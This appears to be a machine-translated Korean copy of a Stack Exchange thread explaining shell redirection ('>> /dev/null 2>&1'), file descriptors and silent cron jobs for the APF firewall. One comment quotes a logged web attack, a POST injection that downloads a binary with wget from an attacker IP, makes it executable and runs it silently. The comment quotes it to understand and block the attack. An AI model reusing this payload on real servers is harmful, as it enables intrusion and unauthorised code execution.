/ dev / null 2> & 1은 무엇입니까?


237

이 코드는 /etc/cron.daily/apf에서 찾았습니다.

#!/bin/bash  
/etc/apf/apf -f >> /dev/null 2>&1  
/etc/apf/apf -s >> /dev/null 2>&1  

방화벽을 비우고 다시로드합니다.
나는 그 >> /dev/null 2>&1부분을 이해하지 못한다 .

cron에서 이것을 사용하는 목적은 무엇입니까? 방화벽 규칙을 재정의하고 있습니다. 이 크론 작업을 안전하게 제거 할 수 있습니까?


1
참고 : 프로세스를 짧게하는 방법은 >&- 2>&-입니다.
Zaz

22
@ 조쉬 : 왜 이전보다 훨씬 더 비밀스럽게 만드는가?
endolith

4
@Josh 각각의 FD를 닫아 프로그램을 중단시킬 수 있습니다.
glglgl

1
이다 2>&1 > /dev/null은 동일 > /dev/null 2>&1 ? 그것은 ... 나에게 더 자연스러운 것 같다
edelans

6
이 방법은 stderr을 stdout으로 리디렉션하지만 원래 stdout 만 /dev/null-stderr로 출력됩니다. 의 도구 시도 gist.github.com/zigg/344361751c0110419b0f
zigg

답변:


354

>> /dev/null표준 출력 ( stdout)을로 리디렉션 하여 /dev/null버립니다.

(이것은 >>불필요한 >>것을 의미합니다 . 왜냐하면 추가하는 동안 >은 자르고 쓰는 것을 의미하고, 추가하거나 쓰는 /dev/null것은 동일한 순 효과 를 갖습니다. 나는 보통 >그런 이유로 사용 합니다.)

2>&1표준 오류 ( 2)를 표준 출력 ( 1)으로 리디렉션 한 다음 표준 출력이 이미 리디렉션되었으므로이를 버립니다.


7
&기호는 무엇을 나타냅니다 2>&1.
아무도

17
&는 파일 디스크립터를 나타냅니다. 일반적으로 3 개의 파일 디스크립터 (표준 입력, 출력 및 오류)가 있습니다.
Testing123

1
@ 아무도 아래 질문에 대한 내 대답을 확인하십시오 stackoverflow.com/questions/10508843/what-is-dev-null-21/…
Vishrant

1
&가 파일 디스크립터를 나타내면 왜 & 2 이전이 없는가?
user6708151

1
다른 사람들이 파일 디스크립터를 설명하는 아래의 답변을 읽지 못하는 경우를 대비하여When redirecting data streams, & means whatever follows is a file descriptor, not a filename.
Elysiumplain

199

하자 브레이크 >> /dev/null 2>&1부품에 문 :


1 부 : >> 출력 리디렉션

프로그램 출력을 재지 정하고 파일 끝에 출력을 추가하는 데 사용됩니다. 더...


2 부 : /dev/null 특수 파일

이것은 의사 장치 특수 파일 입니다.

Command ls -l /dev/null는이 파일에 대한 세부 정보를 제공합니다.

crw-rw-rw-. 1 root root 1, 3 Mar 20 18:37 /dev/null

관찰 했습니까 crw? 이는 직렬 액세스를 제공하는 문자 특수 파일 유형 의 의사 장치 파일 임을 의미합니다 .

/dev/null모든 입력을 받아들이고 버립니다. 출력을 생성하지 않습니다 (항상 파일 끝 표시를 읽을 때 표시 함). 참조 : Wikipedia


3 부 : 2>&1 파일 설명자

프로그램을 실행할 때마다 운영 체제는 항상 파일을 열 때마다 알듯이 3 개의 파일, 표준 입력, 표준 출력 및 표준 오류를 엽니 다. 커널 에서 운영 체제 는 음이 아닌 정수를 반환합니다. 파일 디스크립터 . 이들 파일의 파일 디스크립터는 각각 0, 1 및 2입니다.

그래서 2>&1 단순히 표준 출력 리디렉션 표준 오류는 말한다.

& 뒤에 오는 것은 파일 이름이 아니라 파일 설명 자라는 것을 의미합니다.

요컨대이 명령을 사용하면 실행하는 동안 프로그램이 소리 지르지 않도록 지시합니다.

사용의 중요성 2>&1 ?

터미널에서 일부 오류가 발생한 경우에도 출력을 생성하지 않으려는 경우. 보다 명확하게 설명하기 위해 다음 예제를 살펴 보겠습니다.

$ ls -l > /dev/null

위 명령의 경우 터미널에 출력이 인쇄되지 않았지만이 명령으로 오류가 발생하면 어떻게됩니까?

$ ls -l file_doesnot_exists > /dev/null
ls: cannot access file_doesnot_exists: No such file or directory

출력을로 리디렉션하고 /dev/null있지만 터미널에 인쇄됩니다. 오류 출력을로 리디렉션하지 않기 때문에 오류 출력 /dev/null을 리디렉션하려면 다음을 추가해야합니다 2>&1.

$ ls -l file_doesnot_exists > /dev/null 2>&1

2
좋은 예입니다! '>'을 (를) 미리 모르면 'STDERR'을 (를) 리디렉션하지 않습니다.
miao.wang

잘 설명했다! 매우 유익한. 감사. 최근에 발생한 웹 공격을 이해하는 데 도움이됩니다. 공격자는 위의 코드를 포함하는 POST 요청을 통해 일부 악성 코드를 주입하고 있습니다.
Sohel Pathan

1
@Vishrant 삽입 된 코드는 다음과 같습니다 : POST / user / password? name [% 23post_render] [] = system & name [% 23markup] = cd + / tmp; wget + -O + xm111 + xxx.xxx.xxx.xxx/xm111;chmod+777+ xm111; wget + -O + config.json + http : /… > / dev / null 2> & 1 & HTTP / 1.1 xxx.xxx.xxx.xxx는 공격자의 IP이며 많은 사이트에서 공격적인 것으로 표시됩니다. 가장 중요한 예방 단계는 방화벽에서 IP를 차단하고 이러한 IP의 패턴을 차단하는 것입니다. 공격은 홈페이지 로딩시 타사 웹 사이트를 리디렉션하는 것이 었습니다. Apache 서버 로그에 의심스러운 IP 및 요청이 표시되었습니다.
Sohel Pathan

5
2 전에 왜 '&'를 사용하지 않는지 궁금합니다. 누군가 내 의심을 지우십시오.
Snehasish Karmakar

1
@SnehasishKarmakar는 합법적 인 질문입니다. 나는 OS가 파일 기술자가 될 것이다 첫 번째 인수를 이해하는 스마트 충분하지만 생각 >추가 파일 위치 될 것으로 예상된다 재 지정 연산자를 다음과 어떤 리디렉션 연산자입니다 &전에를 1이 파일 없음을 나타냅니다 경우 응용 프로그램의 출력을 리디렉션해야하지만, 파일 기술자 누군가이 의견에 대한 자세한 내용을 추가 할 수 있다면 감사하겠습니다.
슈트

58

이것은 프로그램을 조용히 실행하고 모든 출력을 숨기는 방법입니다.

/dev/null쓰여진 모든 것을 버리는 특별한 파일 시스템 객체입니다. 스트림을 스트림으로 리디렉션하면 프로그램의 출력이 숨겨집니다.

2>&1부분은 "오류 스트림을 출력 스트림으로 리디렉션"을 의미하므로 출력 스트림을 리디렉션하면 오류 스트림도 리디렉션됩니다. 프로그램이 stderr지금 작성하더라도 해당 출력도 삭제됩니다.


37
실제로 2>&1실제로로 리디렉션 stderr됩니다 stdout. 이것과 귀하가 주장한 것의 차이점은 예를 들어 리디렉션 순서를 바꿔서 가장 잘 설명됩니다 2>&1 >/dev/null.
zigg December

15

/dev/null 쓰기는 모두 버리는 표준 파일이지만 쓰기 작업이 성공했다고보고합니다.

1표준 출력이며 2표준 오류입니다.

2>&1표준 오류를 표준 출력으로 리디렉션합니다. &1는 파일 디스크립터 (표준 출력)를 나타내며, 그렇지 않으면 (만 사용하는 경우 1) 표준 오류를이라는 파일로 리디렉션합니다 1. [any command] >>/dev/null 2>&1모든 표준 오류를 표준 출력으로 리디렉션하고 모든 표준 오류를에 기록합니다 /dev/null.


7

나는 >> /dev/null 2>&1조용한 cronjob에 사용 합니다. cronjob은 작업을 수행하지만 보고서를 전자 메일로 보내지 않습니다.

내가 아는 한 제거하지 마십시오 /dev/null. 특히 cPanel 을 실행할 때 유용한 cronjob 보고서에 유용 합니다.


2

다른 사람들이 설명했듯이 / dev / null에 쓰면 프로그램의 출력이 제거됩니다. 일반적으로 cron은 cronjob으로 시작된 프로세스의 모든 출력에 대해 이메일을 보냅니다. 따라서 출력을 / dev / null에 쓰면 cron에서 주소를 지정한 경우 스팸이 발생하지 않습니다.


0

편집 /etc/conf.apf. 설정하십시오 DEVEL_MODE="0". DEVEL_MODE세트하는 15 분 후에 APF 정지 cron 작업을 추가합니다.

당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.